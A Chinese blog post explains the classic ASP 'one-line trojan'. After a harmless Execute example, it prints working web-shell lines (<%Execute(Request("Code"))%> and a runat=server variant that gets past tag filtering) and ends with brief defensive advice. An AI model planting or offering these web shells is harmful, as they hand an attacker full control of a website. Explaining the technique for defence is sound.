ZBlog文章自动排版插件»

«为Zblog添加图片渐隐特效

     顾名思义，一句话木马的意思就是，只用在程序中插入简单的几个字符就可以实现完全控制整个网站的木马程序。初学者往往会觉得非常的不可思议，不过我相信你看过本文以后就应该会清楚的明白一句话的原理了。

    在ASP里，函数Execute或(Server.Execute)是一个可以在当前页面中执行子页面的程序的函数，即与include的效果类似。请看下面的例子：

    A.asp页

<%

Response.Write("This is in A.asp")

Call Execute("b.asp")

Response.Write("A.asp Response End")

%>

    B.asp页

<%

Response.Write("This is in B.asp")

%>

    执行A.asp页的结果如下：

This is in A.asp

This is in B.asp

A.asp Response.End

    看到效果了吧。通过Execute可以执行任何符合ASP规范的ASP代码和文件。因此骇客要希望一句话木马就非常的容易啦，他们只需要在你的程序程序里插入以下代码就可以完全控制你的网站了！

<%Execute(Request("Code"))%>

    当一个页面已经存在这个代码以后，就可以通过远程POST的方式提交任意代码，程序都会完全的执行：比如上传大马。那有人会说，那如果我过滤了%标签是不是就可以了呢？答案是否定的，骇客照样可以构造如下代码：

<script language="vbscript" runat="server">

Execute(Request("Code"))

</script>

    这使用runat="server"替换<%%> 也是一个非常好的方式，隐密性比较高。对于一句话木马的防范，除了防止远程数据提交以后，还得对输入的内容进行非常严格的过滤，不过道高一尺魔高一丈，随时备份网站，关键时候恢复才得良策。